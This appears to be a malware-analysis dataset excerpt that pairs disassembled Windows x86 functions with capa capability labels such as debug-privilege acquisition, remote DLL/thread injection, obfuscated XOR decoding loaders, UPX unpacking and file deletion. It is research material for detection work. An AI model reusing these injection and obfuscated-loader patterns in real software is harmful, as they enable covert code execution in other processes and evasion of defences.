joyce8/EMBER2024-capa huggingface dataset:
Function at 0x56d994
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor ebx, ebx
mov dword [ebp - 4], ebx
test dl, dl
je 0x56d9ac
add esp, 0xfffffff0
call fcn.00405778
mov byte [ebp - 9], dl
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x56dac6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 8]
mov dword [eax + 8], ebx
mov eax, ebx
add eax, eax
add eax, eax
add eax, eax
call fcn.0040455c
mov edx, dword [ebp - 8]
mov dword [edx + 0xc], eax
dec ebx
test ebx, ebx
jl 0x56dab0
inc ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
call fcn.004d68f4
xor eax, eax
push ebp
push 0x56da9d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x30]
call fcn.004d68f4
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x10]
lea ebx, [eax + edx*8]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov eax, dword [eax + 8]
mov dword [ebx], eax
lea eax, [ebx + 4]
mov edx, dword [ebp - 4]
call fcn.004079e0
jmp 0x56da6e
lea eax, [ebx + 4]
mov ecx, 1
mov edx, 1
call fcn.00408028
mov eax, dword [ebx + 4]
call fcn.00407ae8
dec eax
jle 0x56da82
mov eax, dword [ebx + 4]
cmp word [eax], 0x5f
je 0x56da5c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x56daa4
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x54]
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x56dacd
lea eax, [ebp - 4]
call fcn.004070d8
ret

Function at 0x5751fc
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe4
mov byte [esp], al
xor ebx, ebx
lea eax, [esp + 4]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x57527e
mov dword [esp + 0xc], 1
lea eax, [esp + 0x10]
push eax
push 0x575288
push 0
call sub.advapi32.dll_LookupPrivilegeValueW
cmp byte [esp], 0
je 0x575244
mov dword [esp + 0x18], 2
jmp 0x57524a
xor eax, eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0
push 0x10
lea eax, [esp + 0x18]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
sete bl
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, ebx
add esp, 0x1c
pop ebx
ret
Function at 0x5752ac
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00407760
xor eax, eax
push ebp
push 0x5753df
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
test esi, esi
je 0x5753c9
mov al, 1
call fcn.005751fc
mov eax, dword [ebp - 4]
test eax, eax
je 0x575300
mov edx, eax
sub edx, 0xa
cmp word [edx], 2
je 0x575300
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004067b0
test eax, eax
je 0x575309
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
add ebx, ebx
add ebx, 2
mov eax, ebx
call fcn.00404574
mov dword [ebp - 0x10], eax
mov ecx, ebx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.00408aac
push esi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x5753c2
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
push 0x1000
push ebx
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 0x14]
push eax
push ebx
mov eax, dword [ebp - 0x10]
push eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x5753a3
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
push esi
push 0x5753f0
push 0x57540c
call sub.kernel32.dll_GetModuleHandleW_2
push eax
call fcn.0040cbe4
push eax
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5753c9
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x10]
call fcn.00404590
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5753e6
lea eax, [ebp - 4]
call fcn.00407768
ret

Function at 0x576c74
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x576d65
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
push dword [0x58a4bc]
push 0x576d80
push dword [0x58a4b8]
push 0x576d98
lea eax, [ebp - 4]
mov edx, 4
call fcn.00407d30
mov eax, dword [ebp - 4]
call fcn.0041540c
test al, al
jne 0x576d4a
push 0
push dword [0x58a4bc]
push 0x576d80
push dword [0x58a4b8]
push 0x576d98
lea eax, [ebp - 8]
mov edx, 4
call fcn.00407d30
mov eax, dword [ebp - 8]
call fcn.00407804
push eax
lea eax, [ebp - 0xc]
mov ecx, 0x576db0
mov edx, dword [0x58a4bc]
call fcn.00407c4c
mov eax, dword [ebp - 0xc]
call fcn.00407804
push eax
call sub.kernel32.dll_CopyFileW
test eax, eax
je 0x576d48
mov bl, 1
push dword [0x58a4bc]
push 0x576d80
push dword [0x58a4b8]
push 0x576d98
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00407d30
mov eax, dword [ebp - 0x10]
mov edx, 2
call fcn.0041558c
jmp 0x576d4a
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x576d6c
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00407770
ret
Function at 0x576e48
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd80
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x27c], edx
mov dword [ebp - 0x278], edx
mov dword [ebp - 0x274], edx
lea eax, [ebp - 0x270]
mov edx, dword [0x40f00c]
call fcn.004084a8
xor eax, eax
push ebp
push 0x576fbb
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x58a4bc]
push 0x576fd8
push 0x576ff0
lea eax, [ebp - 0x274]
mov edx, 3
call fcn.00407d30
mov eax, dword [ebp - 0x274]
lea ecx, [ebp - 0x270]
mov edx, 0x1ff
call fcn.00415638
mov edi, eax
test edi, edi
jne 0x576f81
mov eax, dword [ebp - 0x25c]
mov edx, 0x577008
call fcn.00407ef0
je 0x576f6c
mov eax, dword [ebp - 0x25c]
mov edx, 0x577018
call fcn.00407ef0
je 0x576f6c
cmp dword [ebp - 0x260], 0x10
je 0x576f6c
push dword [0x58a4bc]
push 0x576fd8
push dword [ebp - 0x25c]
lea eax, [ebp - 0x278]
mov edx, 3
call fcn.00407d30
mov eax, dword [ebp - 0x278]
call fcn.00576dc8
test al, al
jne 0x576f6c
push dword [0x58a4bc]
push 0x576fd8
push dword [ebp - 0x25c]
lea eax, [ebp - 0x27c]
mov edx, 3
call fcn.00407d30
mov esi, dword [ebp - 0x27c]
mov dword [ebp - 0x280], esi
mov eax, dword [ebp - 0x280]
call fcn.00407804
push eax
call sub.kernel32.dll_DeleteFileW
cmp eax, 1
sbb ebx, ebx
inc ebx
lea eax, [ebp - 0x270]
call fcn.00415688
mov edi, eax
test edi, edi
je 0x576ec7
lea eax, [ebp - 0x270]
call fcn.004156ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x576fc2
lea eax, [ebp - 0x27c]
mov edx, 3
call fcn.00407770
lea eax, [ebp - 0x270]
mov edx, dword [0x40f00c]
call fcn.00408580
ret
Function at 0x405a03
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x405a12
pop dword [ebp - 0x34]
mov eax, 0x405a12
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x9e826e0d
add dword [ebp - 0x44], 0xafcfd73e
mov dword [ebp - 0x40], 0xed29fe41
add dword [ebp - 0x40], 0x45094e04
mov dword [ebp - 0x3c], 0xa718e80c
sub dword [ebp - 0x3c], 0x5acca3de
mov dword [ebp - 0x38], 0x984b13cb
add dword [ebp - 0x38], 0x67b4ec35
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x62d6c52f
sub dword [ebp - 0x44], 0xee645bd9
mov dword [ebp - 0x40], 0x3994f09b
sub dword [ebp - 0x40], 0xf8288f26
mov dword [ebp - 0x3c], 0x769271a
add dword [ebp - 0x3c], 0x5c064552
mov dword [ebp - 0x38], 0xb112427e
sub dword [ebp - 0x38], 0xb112427e
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x363e0
push 0
call eax
mov ecx, 0xe19dabde
sub ecx, 0xe19d66d2
xor esi, esi
add esi, eax
mov edi, 0x2a200e63
add edi, 0xd626d59d
add edi, dword [ebp - 0x34]
mov ebx, 0xda27609d
mov dword [ebp - 4], 0x5e79f39
mov edx, dword [edi]
add dword [ebp - 0x28], 0xa90820af
xor edx, ebx
mov dword [ebp - 0x20], 0xc8190d18
mov dword [esi], edx
add esi, 0xbc2c0ea0
add esi, 0x43d3f164
add edi, 4
loop 0x405b21
add eax, 0x10703
xor ebx, ebx
add ebx, eax
add eax, 0xe1c07acc
sub eax, 0xe1c07ac7
mov ecx, 0x1c3d5025
sub ecx, 0x1bfd5025
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x405cce
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x425f30
push esi
call fcn.00406212
push esi
call fcn.00405c71
mov edi, eax
test edi, edi
jne 0x405cef
xor eax, eax
jmp 0x405d47
push edi
call fcn.004064a6
test byte [0x42a258], 0x80
je 0x405d0c
mov ax, word [edi]
test ax, ax
je 0x405ceb
cmp ax, 0x5c
je 0x405ceb
sub edi, esi
sar edi, 1
jmp 0x405d26
call fcn.00406555
test eax, eax
je 0x405d20
test byte [eax], 0x10
je 0x405ceb
push esi
call fcn.00405c12
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405d12
call fcn.00405bc6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405dc2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405de1
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405de7
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileW]
ret 0xc
Function at 0x1001b511
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1001b520
pop dword [ebp - 0x34]
mov eax, 0x801337c9
add eax, 0x8fee7d57
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x4a4172df
add dword [ebp - 0x44], 0x410d26c
mov dword [ebp - 0x40], 0xc65cd998
sub dword [ebp - 0x40], 0x94298d53
mov dword [ebp - 0x3c], 0xfa1cc3cc
sub dword [ebp - 0x3c], 0xadd07f9e
mov dword [ebp - 0x38], 0x6e119b61
add dword [ebp - 0x38], 0x91ee649f
lea eax, [ebp - 0x44]
push eax
mov eax, 0xc7958a2
add eax, 0x38897a6
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x262402e3
add dword [ebp - 0x44], 0x4e4e6673
mov dword [ebp - 0x40], 0x59c78123
add dword [ebp - 0x40], 0xe7a4e052
mov dword [ebp - 0x3c], 0x55a4bf02
sub dword [ebp - 0x3c], 0xf2355296
mov dword [ebp - 0x38], 0xfa4db7ac
add dword [ebp - 0x38], 0x5b24854
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3b2d5
push 0
call eax
mov ecx, 0xdcb1df8b
add ecx, 0x234e5e81
xor edx, edx
add edx, eax
mov ebx, 0x688c29a0
sub ebx, 0x58897da0
add ebx, dword [ebp - 0x34]
mov esi, 0x8b228790
sub esi, 0xb787311c
add dword [ebp - 0x1c], 0x747f181b
mov edi, dword [ebx]
sub dword [ebp - 0x10], eax
xor edi, esi
add dword [ebp - 0x24], 0x306efc9b
mov dword [edx], edi
xor dword [ebp - 0x20], 0xdd21905b
add edx, 0x14ea7c8a
sub edx, 0x14ea7c86
add ebx, 0x4b3c6806
sub ebx, 0x4b3c6802
loop 0x1001b63f
add eax, 0xeb03
xor ebx, ebx
add ebx, eax
add eax, 0x1ebcfa26
sub eax, 0x1ebcfa21
mov ecx, 0xce23bdcf
sub ecx, 0xbe23bdcf
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x1001d7ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10026200]
jne 0x1001d7b6
repz ret
jmp fcn.1001dc29
Function at 0x8bbfd0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x3a3000]
push edi
or ebp, 0xffffffff
jmp 0x8bbff2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8bbff9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8bbfe8
mov eax, 1
add ebx, ebx
jne 0x8bc00b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8bc01c
jne 0x8bc03b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8bc03b
dec eax
add ebx, ebx
jne 0x8bc028
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x8bc000
add ebx, ebx
jne 0x8bc037
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x8bc08d
xor ecx, ecx
sub eax, 3
jb 0x8bc053
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8bc0c2
sar eax, 1
mov ebp, eax
jmp 0x8bc05e
add ebx, ebx
jne 0x8bc05e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8bc02c
inc ecx
add ebx, ebx
jne 0x8bc06c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8bc02c
add ebx, ebx
jne 0x8bc079
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8bc06e
jne 0x8bc08a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8bc06e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8bc0ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8bc09e
jmp 0x8bbfee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8bc0ac
add edi, ecx
jmp 0x8bbfee
pop esi
mov edi, esi
mov ecx, 0x12487
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x8bc0ca
cmp byte [edi], 0xbe
jne 0x8bc0ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x8bc0cf
lea edi, [esi + 0x4b7000]
mov eax, dword [edi]
or eax, eax
je 0x8bc13e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x506104]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x50621c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8bc0fc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x506220]
or eax, eax
je 0x8bc138
mov dword [ebx], eax
add ebx, 4
jmp 0x8bc119
call dword [esi + 0x506230]
mov ebp, dword [esi + 0x506224]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8bc172
sub esp, 0xffffff80
jmp 0x7a17dc
Function at 0x4176fa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041756b

Function at 0x417af4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040a3e0
mov eax, dword [0x47ba00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004156fd
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x417b36
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x417c92
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00420910
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47e070]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00418893
mov ecx, dword [esi*4 + 0x47e070]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x417c8b
cmp eax, dword [edi + ecx + 0x24]
jne 0x417c8b
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417c8b
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00418893
add esp, 0x14
test edx, edx
jl 0x417c8b
jg 0x417c01
test eax, eax
jb 0x417c8b
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x417c8b
jl 0x417c1b
cmp dword [ebp - 0x1008], eax
ja 0x417c8b
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x417c39
test ebx, ebx
je 0x417c72
cmp ecx, edi
jae 0x417c72
mov al, byte [ecx]
cmp al, 0xd
jne 0x417c53
lea eax, [edi - 1]
cmp ecx, eax
jae 0x417c5f
cmp byte [ecx + 1], 0xa
jne 0x417c5f
inc ecx
jmp 0x417c5f
movzx eax, al
movsx eax, byte [eax + 0x47bcd0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x417c39
cmp edx, ebx
jne 0x417c39
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x417c90
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00409a3b
leave
ret
Function at 0x417d31
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47e070]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x417d71
cmp byte [ebx], 0xa
jne 0x417d71
or byte [eax + edi + 0x28], 4
jmp 0x417d76
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x417e74
mov al, byte [edx]
cmp al, 0x1a
je 0x417e56
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x417da5
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x417dca
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x417dd4
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x417d87
jmp 0x417e74
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417e51
cmp dword [ebp - 0xc], 0
je 0x417e51
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47e070]
test byte [eax + edi + 0x28], 0x48
je 0x417e2b
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x417e16
mov byte [esi], dl
jmp 0x417e27
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47e070]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x417e74
cmp byte [ebp - 1], 0xa
jne 0x417e3a
cmp esi, ebx
jne 0x417e3a
mov byte [esi], 0xa
jmp 0x417e73
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004188b1
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x417e74
mov byte [esi], 0xd
jmp 0x417e73
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47e070]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x417e70
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x417e74
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x417e7d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47e070]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x417ec0
cmp word [esi], dx
jne 0x417ec0
or byte [edi + eax + 0x28], 4
jmp 0x417ec5
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x418018
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x417ff8
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x417f07
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x417f3d
cmp eax, edx
jae 0x417f49
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x417edf
jmp 0x418018
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417ff4
cmp dword [ebp - 0x14], 0
je 0x417ff4
mov eax, dword [ebx*4 + 0x47e070]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x417fcc
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x417f95
mov word [esi], cx
jmp 0x417fc8
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47e070]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47e070]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47e070]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x418018
pop ebx
cmp word [ebp - 4], bx
jne 0x417fdd
cmp esi, dword [ebp + 0xc]
jne 0x417fdd
mov word [esi], bx
jmp 0x418015
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004188b1
add esp, 0x10
cmp word [ebp - 4], bx
je 0x418018
push 0xd
jmp 0x418011
mov ecx, dword [ebx*4 + 0x47e070]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41800f
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x418018
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x5d778b
Capabilities:
Parse pe header

Disassembly:
call fcn.005d7071
lea esp, [esp]
jmp 0x5d7794
mov word [esp], dx
lea esp, [esp + 1]
pushfd
pop word [esp + 2]
lea esp, [esp + 1]
mov dword [esp + 4], esi
jmp 0x5d77c8
mov eax, dword fs:[0x30]
jmp 0x5d784a
push esp
push dword [esp + 2]
pop dword [esp]
mov dword [esp + 4], edi
lea esp, [esp + 4]
jmp 0x5d77b2
mov eax, dword [eax + 8]
push eax
jmp 0x5d706c
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
jmp 0x5d781e